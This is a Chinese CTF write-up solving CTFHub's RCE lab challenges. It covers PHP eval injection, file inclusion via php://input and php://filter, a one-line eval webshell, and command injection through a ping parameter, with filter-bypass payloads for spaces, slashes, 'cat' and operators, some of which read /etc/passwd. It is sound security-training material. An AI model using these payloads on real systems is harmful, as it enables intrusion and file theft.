CTFHub-RCE漏洞wp
引言
题目共有如下类型

什么是RCE漏洞
RCE漏洞,全称是Remote Code Execution漏洞,翻译成中文就是远程代码执行漏洞。顾名思义,这是一种安全漏洞,允许攻击者在受害者的系统上远程执行任意代码
eval执行
分析源码:
<?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?>
执行命令查看当前目录
?cmd=system("ls");

查看根目录或者上级目录一个一个查找
?cmd=system("ls /");
?cmd=system("ls ../../../");
发现flag文件

cat /flag_8751即可

文件包含
文件包含
源码审计
<?php
error_reporting(0);
if (isset($_GET['file'])) { //检查是否存在file参数且不为空
if (!strpos($_GET["file"], "flag")) { //过滤flag字符串
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i have a <a href="shell.txt">shell</a>, how to use it ? //提示有个shell.txt文件,内容为 <?php eval($_REQUEST['ctfhub']);?>
利用文件包含读取shell.txt

先了解一下$_REQUEST函数,是PHP 中一个非常方便的超级全局变量,它处理来自用户输入的数据。具体来说,$_REQUEST 变量包含了通过 GET、POST 和 COOKIE 方法传递的数据 ,所以可以利用POST或cookie传入ctfhub变量
查看根目录

查找flag

php://input
源码分析
<?php
if (isset($_GET['file'])) { //检查是否存在file参数
if ( substr($_GET["file"], 0, 6) === "php://" ) { //检查参数前6位是否为 php:// ,是则执行
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
// 给了应该phpinfo.php超链接
查看phpinfo.php文件,发现此处

抓包构造命令执行,因为有php://input,故会执行传入的php代码

查看flag

这里也可以利用php伪协议,会得到一串base64加密的flag,解密即可

或者:

读取源代码
源码审计
<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) { //检查file参数是否以 php:// 开头
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__); //代码高亮,显示源码
}
?>
i don't have shell, how to get flag?
flag in <code>/flag</code> //flag在根目录
php伪协议读取flag
?file=php://filter/read=/resource=/flag

远程包含
源码审计
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) { //过滤flag字符串
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
给了一个phpinfo()界面,根据题目提示,还是文件包含题,抓包利用php;//input读取
查看根目录

读取flag

命令注入
这里需要了解一下常见的命令分隔符
; : 无论前面是否执行,后面都执行
||(逻辑或):前命令失败执行后命令,如果前命令成功则不执行后命令
| :前者结果作为后者参数使用
&& :前命令成功执行后命令,如果失败则不执行后命令
\n:换行符,url编码%0a
%0a (换行)
%0d (回车)
无过滤
没有做任何过滤
先ping一下

查看该目录,使用 127.0.0.1; ls 也是可以的

查看26398804916519.php
127.0.0.1 | cat 26398804916519.php
发现flag

过滤cat
查看源码:
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/cat/", $ip, $m)) { //过滤了cat字符串
$cmd = "ping -c 4 {$ip}"; //windows默认ping4次,Linux不设置次数会一直ping
exec($cmd, $res);
} else {
$res = $m;
}
}
查看当前目录

因为cat被过滤了,此系统是linux操作系统,所以可以使用cat命令的平替,如 nl tac c\at less more tail 等
nl查看,得到flag

或者使用转义符 \ 绕过 也可以得到flag,会将c\at 分为两个字符串,则绕过cat过滤

过滤空格
查看源码
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/ /", $ip, $m)) { //只过滤了空格
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
先查看当前目录,得到flag文件 flag_11971489425983.php

这里介绍几个绕过空格的方法
$IFS$9 %09 <> < {cat,flag}
可以绕过空格
127.0.0.1;cat$IFS$9flag_11971489425983.php

过滤目录分隔符
几种常见的 / 符号绕过方法
改变工作目录:cd xxx 避免使用 / 符号
环境变量截取: ${PATH:0:1} ${HOME:0:1}
编码绕过:8进制: $(printf "\57") 16进制: $'\x2f' $'\57'
调用命令生成:a=$(printf "/"); cat ${a}etc${a}passwd cat `echo /`etc`echo /`passwd
通配符替代(部分路径已知):/???/cat /???/passwd //匹配 /bin/cat
利用反斜杠:cat \/etc\/passwd
协议替代:file_get_contents('glob:///*');
提示:

源码
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/\//", $ip, $m)) { //过滤了 / 符号
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
查看当前目录

进入该目录并查看

执行以下命令读取flag文件
127.0.0.1;cd flag_is_here;cat flag_29914267619184.php
得到flag

过滤运算符
查看源码,可以利用 ;绕过
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||\&)/", $ip, $m)) { //利用正则匹配过滤了 | 和 &
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
查看当前目录

执行以下命令
127.0.0.1;cat flag_4351260182213.php
得到flag

综合过滤练习
源码审计
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) { //过滤了 | & ; 空格 / cat flag ctfhub
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
利用换行符%0a绕过查看当前目录

查看根目录,没有有用信息,flag应该存在flag_is_here目录下

执行以下命令
?ip=127.0.0.1%0acd$IFS$9f\lag_is_here%0als //flag被过滤,需要绕过

查看该flag
?ip=127.0.0.1%0acd$IFS$9f\lag_is_here%0anl$IFS$9f\lag_172132798218075.php //绕过cat

CTFHub-RCE漏洞wp的更多相关文章
- ThinkPHP-5.0.23新的RCE漏洞测试和POC
TP5新RCE漏洞 昨天又是周五,讨厌周五曝漏洞,还得又得加班,算了,还是先验证一波.新的TP5RCE,据说发现者因为上次的RCE,于是又审计了代码,结果发现的.TP5也成了万人轮啊. 测试 环境搭建 ...
- GitStack系统RCE漏洞学习
漏洞简介 漏洞简情 漏洞程序 GitStack 影响版本 <=2.3.10 漏洞类型 RCE 漏洞评价 高危 漏洞编号 CVE-2018-5955 漏洞程序介绍 GitStack是一款基于Pyt ...
- Zimbra无需登录RCE漏洞利用
2019年3月13号,一名国外的安全研究员在他的博客上公布了zimbra RCE漏洞相关信息,但其中并未提到一些漏洞利用细节. 经过一段时间努力,根据网上各位大牛的分析和我自己的理解,在此我将整个漏洞 ...
- WordPress插件Social Warfare<=3.5.2 无需登录RCE漏洞
该漏洞只存在于Social Warfare插进的3.5.0.3.5.1和3.5.2版本中,其他版本不存在. 2019年3月21日插件作者紧急发布了3.5.3版本以修复高危的RCE漏洞,在<=3. ...
- Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现
Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现 一.漏洞描述 Joomla是一套内容管理系统,是使用PHP语言加上MYSQL数据库所开发的软件系统,最新版本为3.9.12,官网: ...
- Apache Solr Velocity模板注入RCE漏洞复现
Apache Solr Velocity模板注入RCE漏洞复现 一.Apache Solr介绍 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通 ...
- Apache Shiro<=1.2.4反序列化RCE漏洞
介绍:Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理. 漏洞原因:因为shiro对cookie里的rememberme字段进行了反序列化,所以如果知道了 ...
- U-Boot NFS RCE漏洞(CVE-2019-14192)
U-Boot NFS RCE漏洞(CVE-2019-14192) 原文:https://blog.semmle.com/uboot-rce-nfs-vulnerability/ 翻译:看雪翻译小组 - ...
- Joomla 3.0.0 - 3.4.6 RCE漏洞分析记录
0x00 前言 今天早上看到了国内几家安全媒体发了Joomla RCE漏洞的预警,漏洞利用的EXP也在Github公开了.我大致看了一眼描述,觉得是个挺有意思的漏洞,因此有了这篇分析的文章,其实这个 ...
- 威胁快报|首爆,新披露Jenkins RCE漏洞成ImposterMiner挖矿木马新“跳板”
简介 阿里云安全于近日捕获到一起使用Jenkins RCE漏洞进行攻击的挖矿事件.除挖矿外,攻击者还曾植入具有C&C功能的tsunami木马,也预留了反弹shell的功能,给用户带来极大安全隐 ...
随机推荐
- java内存区域——daicy
Java虚拟机 运行时数据区 主要分为五部分:方法区,堆(这两块是所有线程共享的区域),程序计数器,本地方法栈,虚拟机栈(vm stack)(这三块为线程隔离区域) 程序计数器(Program Cou ...
- 算法(第四版)C# 习题题解——3.2
写在前面 整个项目都托管在了 Github 上:https://github.com/ikesnowy/Algorithms-4th-Edition-in-Csharp 查找更方便的版本见:https ...
- PictureMarkerSymbol透明的问题
由于我使用的是位图图片,所以不可能将图片背景处理成透明.不过还是可以通过参数的设定来达到这种效果. PictureMarkerSymbol pPMS = new PictureMarkerSymbol ...
- 从Delphi到Lazarus——安装最新版的Lazarus
0.前言 在这篇文章里将会介绍以下内容: 下载最新版的Lazarus安装程序 安装Lazarus 安装整合IDE界面的软件包 编译运行你的第一个测试程序 结束语 1.下载最新版的Lazarus安装程序 ...
- MATLAB R2024a免费+破解版本(含密钥)
强大功能 在使用2024a之前,我一直在使用2018b,最近数学建模+学年论文的摧残,让我看到了matlab新增的强大功能: Deep Learning Toolbox:新增支持 Transforme ...
- SQLServer使用STUFF-for xml path实现结果行列转置
源数据: 场景1: 查出用户的爱好,并进行行列转置 select cname, stuff((select ','+f.favor from tb_favor f where f.userid=b.u ...
- WinForm 通用权限框架,简单实用支持二次开发
前言 开发一个安全.灵活且易于维护的应用程序是至关重要的.特别是在企业级应用中,权限管理不仅涉及到用户访问控制,还关系到数据的安全性和系统的稳定性. 推荐一款 WinForm 通用.完整的权限架构开发 ...
- 题解:P11007 『STA - R7』Odtlcsu
有个很显然的结论,题目中的 $x$ 与 $y$ 奇偶性相同. 有个更简单的证明,奇数的平方为奇数,偶数的平方为偶数,所以 $x$ 与 $y$ 奇偶性相同. 思路就显而易见了,考虑构造一个长度为 $y$ ...
- docker 1.13版本修改默认存储路径及添加私有registry
1.服务器安装dockeryum install docker -y12.修改配置文件方法1: 编辑 `/etc/sysconfig/docker`文件 修改`OPTION`选项 添加 --insec ...
- 波折重重:Linux实时系统Xenomai宕机问题的深度定位
目录 一 前言 二 背景 三 原因分析及措施 硬件原因 应用软件 操作系统 四 分析定位 转机 拨云见雾 irq计数 Schedstat coreclk 现象结论 五 原因一 六 原因二 七 解决 八 ...